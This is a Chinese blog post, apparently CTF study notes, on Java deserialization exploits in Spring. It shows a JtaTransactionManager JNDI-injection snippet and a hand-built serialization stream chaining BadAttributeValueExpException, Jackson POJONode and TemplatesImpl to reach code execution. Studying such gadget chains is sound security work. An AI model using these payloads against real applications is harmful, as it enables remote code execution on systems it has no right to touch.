前言

学习。


通过Spring-tx依赖

光有Spring Web还不够,还需要一个Spring-tx依赖,根据本地的Spring版本选择了一个相同版本的Spring-tx依赖:

<dependency>
    <groupId>org.springframework</groupId>
    <artifactId>spring-tx</artifactId>
    <version>5.3.27</version>
</dependency>

以前学习过,该依赖下存在JtaTransactionManager类,可以直接用于JNDI注入:

JtaTransactionManager jtaTransactionManager = new JtaTransactionManager();
jtaTransactionManager.setUserTransactionName("rmi://127.0.0.1:1099/Exploit");
Util.unserialize(Util.serialize(jtaTransactionManager));

测试时发现似乎由于属性userTransaction是一个未添加依赖的类型UserTransaction,虽然是transient修饰符的但还是导致了序列化失败,或许需要手写序列化流、自己整一个新的JtaTransactionManager类或者引入依赖再弄吧。

由于Spring中存在Tomcat依赖,因此可以使用里面的BeanFactory有限制地进行函数调用。

通过Jackson

以前学习过Java原生反序列化在反序列化时,FastJson的JSONObject类的toString函数会通过FastJson的方式序列化自身内部元素,进而触发它们的getter函数完成利用的方式,而Spring中虽然没有FastJson,却有跟FastJson有异曲同工之妙的Jackson。

类似FastJson的JSONObject类,Jackson中也有一个继承Serializable接口,还存在序列化自身元素的类POJONode,该类的serialize函数如下:

@Override
public final void serialize(JsonGenerator gen, SerializerProvider ctxt) throws IOException
{
    if (_value == null) {
        ctxt.defaultSerializeNull(gen);
    } else if (_value instanceof JsonSerializable) {
        ((JsonSerializable) _value).serialize(gen, ctxt);
    } else {
        // 25-May-2018, tatu: [databind#1991] do not call via generator but through context;
        //    this to preserve contextual information
        ctxt.defaultSerializeValue(_value, gen);
    }
}

按照常规定义,POJO类即简单的数据类,保存数据而不包含业务逻辑,各个成员一般都存在getter和setter函数,因此按一般理性而言,序列化时和FastJson一样会触发类的getter函数,并且可能都可以通过toString函数触发。

简单测试一下,但是其父类BaseJsonNode存在writeReplace函数:

Object writeReplace() {
    return NodeSerialization.from(this);
}

因此按照正常流程序列化POJONode类时,序列化流程就会被该函数强制修改为Jackson自身定义的序列化方式:

�� sr 5com.fasterxml.jackson.databind.node.NodeSerialization         xpw   {"data":"data"}x

很明显,Jackson通过这个NodeSerialization类来代理完成类的反序列化,因此想要正常生成测试用的序列化对象,就需要修改这个writeReplace函数。

方法有很多,不怕麻烦可以直接一点强行手写序列化字节流,优雅一点可以通过agent修改BaseJsonNode类的字节码把writeReplace函数删掉,折中一点的办法可以打开新的项目,自己写好POJONode类和其父类ValueNode来进行序列化。

这里通过直接手写序列化流的方式完成漏洞利用,可以参考Java8u20反序列化漏洞的做法,可以手写序列化流,因为实际上需要的数据只有一个BadAttributeValueExpException对象,一个POJONode对象和一个TemplatesImpl对象,因此构造起来也比较简单:

@RequestMapping("/deserialization")
public String deserialization() {
    if (this.bytes == null) {
        this.bytes = Converter.toBytes(getPOC());
    }
    System.out.println(new String(this.bytes));
    Object obj = Util.unserialize(this.bytes);
    System.out.println(obj.getClass().getName());
    return "index";
}

private Object[] getPOC() {
    return new Object[]{
            STREAM_MAGIC, STREAM_VERSION, // 序列化数据头
            TC_OBJECT,
            TC_CLASSDESC,
            BadAttributeValueExpException.class.getName(),
            -3105272988410493376L,
            (byte) 3, // flags (SC_SERIALIZABLE)
            (short) 1, // field count
            (byte) 'L', "val", TC_STRING, "Ljava/lang/Object;",
            TC_ENDBLOCKDATA,
            TC_NULL,

            TC_OBJECT,
            TC_CLASSDESC,
            POJONode.class.getName(),
            2L, // serialVersionUID
            (byte) 3, // flags (SC_SERIALIZABLE)
            (short) 1, // field count
            (byte) 'L', "_value", TC_STRING, "Ljava/lang/Object;",
            TC_ENDBLOCKDATA,
            TC_NULL,
            Util.getTemplatesPOC(),
            TC_ENDBLOCKDATA,
            TC_REFERENCE, baseWireHandle + 0x03,
            TC_STRING, "_value",

            TC_ENDBLOCKDATA,
            TC_REFERENCE, baseWireHandle + 0x01,
            TC_STRING, "val",
    };
}

具体的对象引用通过调试可知,虽然序列化和反序列化正常进行了,但实际运行中却发现反序列化漏洞没有正常触发,根据调试,可知getter函数的触发位于BeanSeriallizerBase类的serializeFields函数中:

if (_filteredProps != null && provider.getActiveView() != null) {
    props = _filteredProps;
} else {
    props = _props;
}
int i = 0;
try {
    for (final int len = props.length; i < len; ++i) {
        BeanPropertyWriter prop = props[i];
        if (prop != null) { // can have nulls in filtered list
            prop.serializeAsField(bean, gen, provider);
        }
    }
    if (_anyGetterWriter != null) {
        _anyGetterWriter.getAndSerialize(bean, gen, provider);
    }
}

发现此时首先调用了TemplatesImpl的getStylesheetDOM函数:

public DOM getStylesheetDOM() {
    return (DOM)_sdom.get();
}

而由于_sdom成员是一个transient成员,因此调用时该成员就会为null,调用该函数就会抛出异常直接结束getter的遍历调用。

进行调试,发现getter是由ClassUtil类中的getClassMethods函数通过Class.getDeclaredMethods函数获取的,换而言之就是乱序,然后交给POJOPropertiesCollector类的collectAll函数移除一些不想要的成员或者getter,最后遍历访问。

因此每次运行程序时getter的调用顺序都不一样,多启动几次程序可以发现漏洞可以成功利用。

怪耶!


参考

Spring 反序列化JNDI注入漏洞

AliyunCTF By Straw Hat


Web Java 反序列化

本博客所有文章除特别声明外,均采用 CC BY-SA 3.0协议 。转载请注明出处!

CVE-2022-36944 Scala反序列化漏洞
原型链污染注入HTML模板